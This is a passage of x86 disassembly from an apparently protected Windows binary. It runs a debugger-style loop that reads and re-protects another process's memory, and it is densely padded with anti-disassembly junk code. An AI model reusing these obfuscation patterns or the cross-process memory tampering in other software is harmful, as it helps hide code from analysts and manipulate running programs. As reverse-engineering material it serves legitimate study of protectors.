mov ecx, [ebp-0A30h]
xor edx, edx
mov dx, [ecx+20h]
test edx, edx
jz loc_4BBFC7
pusha
xor eax, eax
jnz short loc_4BBEFE
jmp short loc_4BBF13
; ---------------------------------------------------------------------------
loc_4BBEFE: ; CODE XREF: .text:004BBEFAj
jmp short loc_4BBF33
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BBF05: ; CODE XREF: .text:loc_4BBF13j
jo short loc_4BBF15
jmp short near ptr loc_4BBF15+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BBF13: ; CODE XREF: .text:004BBEFCj
jz short loc_4BBF05
loc_4BBF15: ; CODE XREF: .text:loc_4BBF05j
; .text:004BBF07j
jmp short near ptr loc_4BBE99+5
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 68006A61h, 208h, 0E830858Dh, 8B50FFFFh, 0FFE82C8Dh
; ---------------------------------------------------------------------------
call dword ptr [ecx-75h]
loc_4BBF33: ; CODE XREF: .text:loc_4BBEFEj
adc eax, offset dword_4F4750
mov eax, [edx]
push eax
call dword_4ED0D0 ; ReadProcessMemory
lea ecx, [ebp-17D0h]
mov [ebp-18DCh], ecx
push offset aUnicode ; "(Unicode) "
lea edx, [ebp-18D8h]
push edx
call _strcpy_0
add esp, 8
jo short loc_4BBF6A
jl short loc_4BBF68
loc_4BBF65: ; CODE XREF: .text:loc_4BBF68j
; .text:loc_4BBF6Aj
jmp short loc_4BBF6C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BBF68: ; CODE XREF: .text:004BBF63j
jz short loc_4BBF65
loc_4BBF6A: ; CODE XREF: .text:004BBF61j
jmp short loc_4BBF65
; ---------------------------------------------------------------------------
loc_4BBF6C: ; CODE XREF: .text:loc_4BBF65j
push 0
lea eax, [ebp-18D8h]
loc_4BBF74: ; CODE XREF: .text:004BBFE2j
push eax
call _strchr_0
add esp, 8
mov [ebp-18E0h], eax
loc_4BBF83: ; CODE XREF: .text:004BBFC0j
mov ecx, [ebp-18DCh]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_4BBFC2
mov eax, [ebp-18E0h]
mov ecx, [ebp-18DCh]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp-18E0h]
add eax, 1
mov [ebp-18E0h], eax
mov ecx, [ebp-18DCh]
add ecx, 2
mov [ebp-18DCh], ecx
jmp short loc_4BBF83
; ---------------------------------------------------------------------------
loc_4BBFC2: ; CODE XREF: .text:004BBF90j
jmp loc_4BC07B
; ---------------------------------------------------------------------------
loc_4BBFC7: ; CODE XREF: .text:004BBEF1j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BBFFE ; CODE XREF: .text:loc_4BBFFEj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BBFD6: ; CODE XREF: .text:004BBFF7j
jmp short loc_4BBFF5
; ---------------------------------------------------------------------------
loc_4BBFD8: ; CODE XREF: .text:loc_4BBFF5j
xor ecx, ecx
loc_4BBFDA: ; CODE XREF: .text:004BBFE9j
jz short $+2
jmp short loc_4BBFEE
; ---------------------------------------------------------------------------
loc_4BBFDE: ; CODE XREF: .text:004BBFF2j
stc
xor ecx, 3
jz short loc_4BBF74
jmp short loc_4BBFEB
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BBFE7: ; CODE XREF: .text:loc_4BBFEBj
jmp short loc_4BBFF9
; ---------------------------------------------------------------------------
jz short loc_4BBFDA
loc_4BBFEB: ; CODE XREF: .text:004BBFE4j
jnb short loc_4BBFE7
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BBFEE: ; CODE XREF: .text:004BBFDCj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BBFDE
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BBFF5: ; CODE XREF: .text:loc_4BBFD6j
jmp short loc_4BBFD8
; ---------------------------------------------------------------------------
jmp short loc_4BBFD6
; ---------------------------------------------------------------------------
loc_4BBFF9: ; CODE XREF: .text:loc_4BBFE7j
repne sbb al, 0DBh
jmp short loc_4BC001
; ---------------------------------------------------------------------------
loc_4BBFFE: ; CODE XREF: .text:004BBFD1j
jmp short near ptr loc_4BBFD1+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC001: ; CODE XREF: .text:004BBFFCj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 0
push 104h
lea edx, [ebp-18D8h]
push edx
mov eax, [ebp-17D4h]
push eax
mov ecx, dword_4F4750
mov edx, [ecx]
push edx
call dword_4ED0D0 ; ReadProcessMemory
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC052
loc_4BC04F: ; CODE XREF: .text:004BC070j
jmp short near ptr loc_4BC072+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC052: ; CODE XREF: .text:004BC04Dj
xor ebx, ebx
jz short $+2
jmp short loc_4BC065
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BC05B: ; CODE XREF: .text:004BC067j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC069
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC065: ; CODE XREF: .text:004BC056j
xor eax, eax
jz short loc_4BC05B
loc_4BC069: ; CODE XREF: .text:004BC062j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC04F
loc_4BC072: ; CODE XREF: .text:loc_4BC04Fj
jmp near ptr 92B25DD8h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
loc_4BC07B: ; CODE XREF: .text:004BBEAFj
; .text:004BBEDDj ...
mov eax, [ebp-0A30h]
mov ecx, [eax+0Ch]
push ecx
call dword_4ED0E8 ; CloseHandle
loc_4BC08B: ; CODE XREF: .text:004BBE0Cj
mov dword ptr [ebp-0A34h], 10002h
loc_4BC095: ; CODE XREF: .text:loc_4BB66Aj
; .text:004BB6F3j ...
mov eax, [ebp-0A34h]
push eax
mov ecx, [ebp-0A30h]
mov edx, [ecx+8]
push edx
mov eax, [ebp-0A30h]
mov ecx, [eax+4]
push ecx
call dword_4ED0D8 ; ContinueDebugEvent
jmp short loc_4BC0D7
; ---------------------------------------------------------------------------
push 10002h
mov edx, [ebp-0A30h]
mov eax, [edx+8]
push eax
mov ecx, [ebp-0A30h]
mov edx, [ecx+4]
push edx
call dword_4ED0D8 ; ContinueDebugEvent
loc_4BC0D7: ; CODE XREF: .text:004BC0B6j
push offset dword_4F45B0
call dword_4ED1AC ; RtlLeaveCriticalSection
jmp loc_4B9CCA
; ---------------------------------------------------------------------------
loc_4BC0E7: ; CODE XREF: .text:004B9CE1j
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_4BC11F
; ---------------------------------------------------------------------------
mov eax, [ebp-0E8h]
and eax, 0FFh
neg eax
sbb eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push 64h
call dword_4ED1A4 ; Sleep
mov byte ptr [ebp-0E8h], 1
mov dword ptr [ebp-4], 0FFFFFFFFh ; CODE XREF: .text:004BC183j
jmp loc_4B9C4E
; ---------------------------------------------------------------------------
loc_4BC11F: ; CODE XREF: .text:004BC0EEj
mov eax, dword_4F4764
push eax
call dword_4ED0D4 ; UnmapViewOfFile
mov dword_4F4764, 0
mov ecx, [ebp-104h]
push ecx
call dword_4ED0E8 ; CloseHandle
mov dword ptr [ebp-104h], 0FFFFFFFFh
mov al, 1
loc_4BC14E: ; CODE XREF: .text:004B8D08j
; .text:004B995Aj ...
mov ecx, [ebp-10h]
mov large fs:0, ecx ; CODE XREF: .text:loc_4BC1CAj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4BC15F: ; CODE XREF: .text:004BA1BCp
; .text:004BA290p ...
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC19F ; CODE XREF: .text:loc_4BC19Fj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC177: ; CODE XREF: .text:004BC198j
jmp short loc_4BC196
; ---------------------------------------------------------------------------
loc_4BC179: ; CODE XREF: .text:loc_4BC196j
xor ecx, ecx
loc_4BC17B: ; CODE XREF: .text:004BC18Aj
jz short $+2
jmp short loc_4BC18F
; ---------------------------------------------------------------------------
loc_4BC17F: ; CODE XREF: .text:004BC193j
stc
xor ecx, 3
jz short near ptr loc_4BC113+2
jmp short loc_4BC18C
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC188: ; CODE XREF: .text:loc_4BC18Cj
jmp short loc_4BC19A
; ---------------------------------------------------------------------------
jz short loc_4BC17B
loc_4BC18C: ; CODE XREF: .text:004BC185j
jnb short loc_4BC188
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC18F: ; CODE XREF: .text:004BC17Dj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC17F
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC196: ; CODE XREF: .text:loc_4BC177j
; .text:004BC204j
jmp short loc_4BC179
; ---------------------------------------------------------------------------
jmp short loc_4BC177
; ---------------------------------------------------------------------------
loc_4BC19A: ; CODE XREF: .text:loc_4BC188j
repne sbb al, 0DBh
jmp short loc_4BC1A2
; ---------------------------------------------------------------------------
loc_4BC19F: ; CODE XREF: .text:004BC172j
jmp short near ptr loc_4BC172+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC1A2: ; CODE XREF: .text:004BC19Dj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
pusha
xor eax, eax
jnz short loc_4BC1B3
jmp short loc_4BC1C8
; ---------------------------------------------------------------------------
loc_4BC1B3: ; CODE XREF: .text:004BC1AFj
jmp short loc_4BC1E8
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BC1BA: ; CODE XREF: .text:loc_4BC1C8j
jo short loc_4BC1CA
jmp short near ptr loc_4BC1CA+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BC1C8: ; CODE XREF: .text:004BC1B1j
jz short loc_4BC1BA
loc_4BC1CA: ; CODE XREF: .text:loc_4BC1BAj
; .text:004BC1BCj
jmp short near ptr loc_4BC151+2
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:458B6133h
or [ebx+4F47740Dh], cl
add [ebx-1D7C7EECh], cl
add [ebp-157BF02Eh], eax
add eax, [eax]
loc_4BC1E8: ; CODE XREF: .text:loc_4BC1B3j
add [eax-9], dl
ror byte ptr [edi], 1
enter 7358h, 0
pushf
pusha
jmp short loc_4BC220 ; CODE XREF: .text:loc_4BC220j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC1F8: ; CODE XREF: .text:004BC219j
jmp short loc_4BC217
; ---------------------------------------------------------------------------
loc_4BC1FA: ; CODE XREF: .text:loc_4BC217j
xor ecx, ecx
loc_4BC1FC: ; CODE XREF: .text:004BC20Bj
jz short $+2
jmp short loc_4BC210
; ---------------------------------------------------------------------------
loc_4BC200: ; CODE XREF: .text:004BC214j
stc
xor ecx, 3
jz short loc_4BC196
jmp short loc_4BC20D
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC209: ; CODE XREF: .text:loc_4BC20Dj
jmp short loc_4BC21B
; ---------------------------------------------------------------------------
jz short loc_4BC1FC
loc_4BC20D: ; CODE XREF: .text:004BC206j
jnb short loc_4BC209
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC210: ; CODE XREF: .text:004BC1FEj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC200
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC217: ; CODE XREF: .text:loc_4BC1F8j
jmp short loc_4BC1FA
; ---------------------------------------------------------------------------
jmp short loc_4BC1F8
; ---------------------------------------------------------------------------
loc_4BC21B: ; CODE XREF: .text:loc_4BC209j
repne sbb al, 0DBh
jmp short loc_4BC223
; ---------------------------------------------------------------------------
loc_4BC220: ; CODE XREF: .text:004BC1F3j
jmp short near ptr loc_4BC1F3+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC223: ; CODE XREF: .text:004BC21Ej
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov eax, [ebp+10h]
and eax, 0FFh
test eax, eax
jz loc_4BC3E7
jo short loc_4BC246
jl short loc_4BC244
loc_4BC241: ; CODE XREF: .text:loc_4BC244j
; .text:loc_4BC246j
jmp short loc_4BC248
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC244: ; CODE XREF: .text:004BC23Fj
jz short loc_4BC241
loc_4BC246: ; CODE XREF: .text:004BC23Dj
jmp short loc_4BC241
; ---------------------------------------------------------------------------
loc_4BC248: ; CODE XREF: .text:loc_4BC241j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC26B
loc_4BC268: ; CODE XREF: .text:004BC289j
jmp short near ptr loc_4BC28B+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC26B: ; CODE XREF: .text:004BC266j
xor ebx, ebx
jz short $+2
jmp short loc_4BC27E
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BC274: ; CODE XREF: .text:004BC280j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC282
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC27E: ; CODE XREF: .text:004BC26Fj
xor eax, eax
jz short loc_4BC274
loc_4BC282: ; CODE XREF: .text:004BC27Bj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC268
loc_4BC28B: ; CODE XREF: .text:loc_4BC268j
jmp near ptr 92B25FF1h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov dword ptr [ebp-8], 0
mov ecx, dword_4F4770
mov [ebp-4], ecx
jmp short loc_4BC2B8
; ---------------------------------------------------------------------------
loc_4BC2A6: ; CODE XREF: .text:loc_4BC2CFj
mov edx, [ebp-8]
add edx, 1
mov [ebp-8], edx
mov eax, [ebp-4]
add eax, 4
mov [ebp-4], eax
loc_4BC2B8: ; CODE XREF: .text:004BC2A4j
mov ecx, [ebp-8]
cmp ecx, dword_4F476C
jge short loc_4BC2D1
mov edx, [ebp-4]
mov eax, [edx]
cmp eax, [ebp+8]
jnz short loc_4BC2CF
jmp short loc_4BC2D1
; ---------------------------------------------------------------------------
loc_4BC2CF: ; CODE XREF: .text:004BC2CBj
jmp short loc_4BC2A6
; ---------------------------------------------------------------------------
loc_4BC2D1: ; CODE XREF: .text:004BC2C1j
; .text:004BC2CDj
push ecx
bswap ecx
not ecx
push eax
not eax
; ---------------------------------------------------------------------------
db 0B8h, 6Dh, 69h
db 65h
; ---------------------------------------------------------------------------
loc_4BC2DD: ; CODE XREF: .text:loc_4BC354j
insb
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC2F4
loc_4BC2F1: ; CODE XREF: .text:004BC312j
jmp short near ptr loc_4BC314+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC2F4: ; CODE XREF: .text:004BC2EFj
xor ebx, ebx
jz short $+2
jmp short loc_4BC307
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4BC2FD: ; CODE XREF: .text:004BC309j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC30B
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC307: ; CODE XREF: .text:004BC2F8j
xor eax, eax
jz short loc_4BC2FD
loc_4BC30B: ; CODE XREF: .text:004BC304j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC2F1
loc_4BC314: ; CODE XREF: .text:loc_4BC2F1j
jmp near ptr 92B2607Ah
; ---------------------------------------------------------------------------
db 66h, 92h, 8Bh
dd 0F87D83C0h, 0AE8E0F00h, 8B000000h
; ---------------------------------------------------------------------------
loc_4BC328: ; CODE XREF: .text:004BC396j
dec ebp
clc
cmp ecx, dword_4F476C
jge loc_4BC3D5
pusha
xor eax, eax
jnz short loc_4BC33D
jmp short loc_4BC352
; ---------------------------------------------------------------------------
loc_4BC33D: ; CODE XREF: .text:004BC339j
jmp short loc_4BC372
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BC344: ; CODE XREF: .text:loc_4BC352j
jo short loc_4BC354
jmp short near ptr loc_4BC354+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BC35B
loc_4BC352: ; CODE XREF: .text:004BC33Bj
jz short loc_4BC344
loc_4BC354: ; CODE XREF: .text:loc_4BC344j
; .text:004BC346j
jmp short loc_4BC2DD
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BC35B: ; CODE XREF: .text:004BC350j
popa
mov edx, [ebp-8]
shl edx, 2
push edx
mov eax, dword_4F4770
push eax
mov ecx, dword_4F4770
add ecx, 4
loc_4BC372: ; CODE XREF: .text:loc_4BC33Dj
push ecx
call _memcpy_2
add esp, 0Ch
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC3B2 ; CODE XREF: .text:loc_4BC3B2j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC38A: ; CODE XREF: .text:004BC3ABj
jmp short loc_4BC3A9
; ---------------------------------------------------------------------------
loc_4BC38C: ; CODE XREF: .text:loc_4BC3A9j
xor ecx, ecx
loc_4BC38E: ; CODE XREF: .text:004BC39Dj
jz short $+2
jmp short near ptr loc_4BC3A1+1
; ---------------------------------------------------------------------------
loc_4BC392: ; CODE XREF: .text:004BC3A6j
stc
xor ecx, 3
jz short loc_4BC328
jmp short loc_4BC39F
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC39B: ; CODE XREF: .text:loc_4BC39Fj
jmp short loc_4BC3AD
; ---------------------------------------------------------------------------
jz short loc_4BC38E
loc_4BC39F: ; CODE XREF: .text:004BC398j
jnb short loc_4BC39B
loc_4BC3A1: ; CODE XREF: .text:loc_4BC418j
; .text:004BC390j
repne sbb bl, bl
xor ebx, ebx
jmp short loc_4BC392
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC3A9: ; CODE XREF: .text:loc_4BC38Aj
jmp short loc_4BC38C
; ---------------------------------------------------------------------------
jmp short loc_4BC38A
; ---------------------------------------------------------------------------
loc_4BC3AD: ; CODE XREF: .text:loc_4BC39Bj
repne sbb al, 0DBh
jmp short loc_4BC3B5
; ---------------------------------------------------------------------------
loc_4BC3B2: ; CODE XREF: .text:004BC385j
jmp short near ptr loc_4BC385+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC3B5: ; CODE XREF: .text:004BC3B0j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, dword_4F4770
mov eax, [ebp+8]
mov [edx], eax
jo short loc_4BC3D3
jl short loc_4BC3D1
loc_4BC3CE: ; CODE XREF: .text:loc_4BC3D1j
; .text:loc_4BC3D3j
jmp short loc_4BC3D5
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC3D1: ; CODE XREF: .text:004BC3CCj
jz short loc_4BC3CE
loc_4BC3D3: ; CODE XREF: .text:004BC3CAj
jmp short loc_4BC3CE
; ---------------------------------------------------------------------------
loc_4BC3D5: ; CODE XREF: .text:004BC330j
; .text:loc_4BC3CEj
jo short loc_4BC3DE
jl short loc_4BC3DC
loc_4BC3D9: ; CODE XREF: .text:loc_4BC3DCj
; .text:loc_4BC3DEj
jmp short loc_4BC3E0
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC3DC: ; CODE XREF: .text:004BC3D7j
jz short loc_4BC3D9
loc_4BC3DE: ; CODE XREF: .text:loc_4BC3D5j
jmp short loc_4BC3D9
; ---------------------------------------------------------------------------
loc_4BC3E0: ; CODE XREF: .text:loc_4BC3D9j
mov al, 1
jmp loc_4BC923
; ---------------------------------------------------------------------------
loc_4BC3E7: ; CODE XREF: .text:004BC237j
xor ecx, ecx
mov cl, byte_4F4780
test ecx, ecx
jz short loc_4BC3FA
xor al, al
jmp loc_4BC923
; ---------------------------------------------------------------------------
loc_4BC3FA: ; CODE XREF: .text:004BC3F1j
pusha
xor eax, eax
jnz short loc_4BC401
jmp short loc_4BC416
; ---------------------------------------------------------------------------
loc_4BC401: ; CODE XREF: .text:004BC3FDj
jmp short loc_4BC436
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BC408: ; CODE XREF: .text:loc_4BC416j
jo short loc_4BC418
jmp short near ptr loc_4BC418+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BC41F
loc_4BC416: ; CODE XREF: .text:004BC3FFj
jz short loc_4BC408
loc_4BC418: ; CODE XREF: .text:loc_4BC408j
; .text:004BC40Aj
jmp short loc_4BC3A1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BC41F: ; CODE XREF: .text:004BC414j
popa
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh ; CODE XREF: .text:004BC497j
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
loc_4BC436: ; CODE XREF: .text:loc_4BC401j
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC443
loc_4BC440: ; CODE XREF: .text:004BC461j
jmp short near ptr loc_4BC463+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC443: ; CODE XREF: .text:004BC43Ej
xor ebx, ebx
jz short $+2
jmp short loc_4BC456
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BC44C: ; CODE XREF: .text:004BC458j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC45A
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC456: ; CODE XREF: .text:004BC447j
xor eax, eax
jz short loc_4BC44C
loc_4BC45A: ; CODE XREF: .text:004BC453j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC440
loc_4BC463: ; CODE XREF: .text:loc_4BC440j
jmp near ptr 92B261C9h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, [ebp+8]
shl edx, 0Ch
mov eax, dword_4F4754
add eax, edx
mov [ebp-10h], eax
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC4B3 ; CODE XREF: .text:loc_4BC4B3j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC48B: ; CODE XREF: .text:004BC4ACj
jmp short loc_4BC4AA
; ---------------------------------------------------------------------------
loc_4BC48D: ; CODE XREF: .text:loc_4BC4AAj
xor ecx, ecx
loc_4BC48F: ; CODE XREF: .text:004BC49Ej
jz short $+2
jmp short loc_4BC4A3
; ---------------------------------------------------------------------------
loc_4BC493: ; CODE XREF: .text:004BC4A7j
stc
xor ecx, 3
jz short near ptr loc_4BC428+1
jmp short loc_4BC4A0
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC49C: ; CODE XREF: .text:loc_4BC4A0j
jmp short loc_4BC4AE
; ---------------------------------------------------------------------------
jz short loc_4BC48F
loc_4BC4A0: ; CODE XREF: .text:004BC499j
jnb short loc_4BC49C
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC4A3: ; CODE XREF: .text:004BC491j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC493
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC4AA: ; CODE XREF: .text:loc_4BC48Bj
jmp short loc_4BC48D
; ---------------------------------------------------------------------------
jmp short loc_4BC48B
; ---------------------------------------------------------------------------
loc_4BC4AE: ; CODE XREF: .text:loc_4BC49Cj
repne sbb al, 0DBh
jmp short loc_4BC4B6
; ---------------------------------------------------------------------------
loc_4BC4B3: ; CODE XREF: .text:004BC486j
jmp short near ptr loc_4BC486+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC4B6: ; CODE XREF: .text:004BC4B1j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov dword ptr [ebp-14h], 0
mov dword ptr [ebp-0Ch], 0
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC4F1
loc_4BC4EE: ; CODE XREF: .text:004BC50Fj
; .text:004BC55Dj
jmp short near ptr loc_4BC511+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC4F1: ; CODE XREF: .text:004BC4ECj
xor ebx, ebx
jz short $+2
jmp short loc_4BC504
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BC4FA: ; CODE XREF: .text:004BC506j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC508
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC504: ; CODE XREF: .text:004BC4F5j
xor eax, eax
jz short loc_4BC4FA
loc_4BC508: ; CODE XREF: .text:004BC501j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC4EE
loc_4BC511: ; CODE XREF: .text:loc_4BC4EEj
jmp near ptr 92B26277h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
jo short loc_4BC523
jl short loc_4BC521
loc_4BC51E: ; CODE XREF: .text:loc_4BC521j
; .text:loc_4BC523j
jmp short loc_4BC525
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC521: ; CODE XREF: .text:004BC51Cj
jz short loc_4BC51E
loc_4BC523: ; CODE XREF: .text:004BC51Aj
jmp short loc_4BC51E
; ---------------------------------------------------------------------------
loc_4BC525: ; CODE XREF: .text:loc_4BC51Ej
lea ecx, [ebp-14h]
push ecx
push 4
push 1000h
mov edx, [ebp-10h]
push edx
mov eax, dword_4F4750
mov ecx, [eax]
push ecx
call dword_4ED110 ; VirtualProtectEx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC579 ; CODE XREF: .text:loc_4BC579j
; .text:loc_4BC5C4j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC551: ; CODE XREF: .text:004BC572j
jmp short loc_4BC570
; ---------------------------------------------------------------------------
loc_4BC553: ; CODE XREF: .text:loc_4BC570j
xor ecx, ecx
loc_4BC555: ; CODE XREF: .text:004BC564j
jz short $+2
jmp short loc_4BC569
; ---------------------------------------------------------------------------
loc_4BC559: ; CODE XREF: .text:004BC56Dj
stc
xor ecx, 3
jz short near ptr loc_4BC4EE+1
jmp short loc_4BC566
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC562: ; CODE XREF: .text:loc_4BC566j
jmp short loc_4BC574
; ---------------------------------------------------------------------------
jz short loc_4BC555
loc_4BC566: ; CODE XREF: .text:004BC55Fj
jnb short loc_4BC562
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC569: ; CODE XREF: .text:004BC557j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC559
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC570: ; CODE XREF: .text:loc_4BC551j
jmp short loc_4BC553
; ---------------------------------------------------------------------------
jmp short loc_4BC551
; ---------------------------------------------------------------------------
loc_4BC574: ; CODE XREF: .text:loc_4BC562j
repne sbb al, 0DBh
jmp short loc_4BC57C
; ---------------------------------------------------------------------------
loc_4BC579: ; CODE XREF: .text:004BC54Cj
jmp short near ptr loc_4BC54C+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC57C: ; CODE XREF: .text:004BC577j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
lea edx, [ebp-0Ch]
push edx
mov eax, [ebp-14h]
push eax
push 1000h
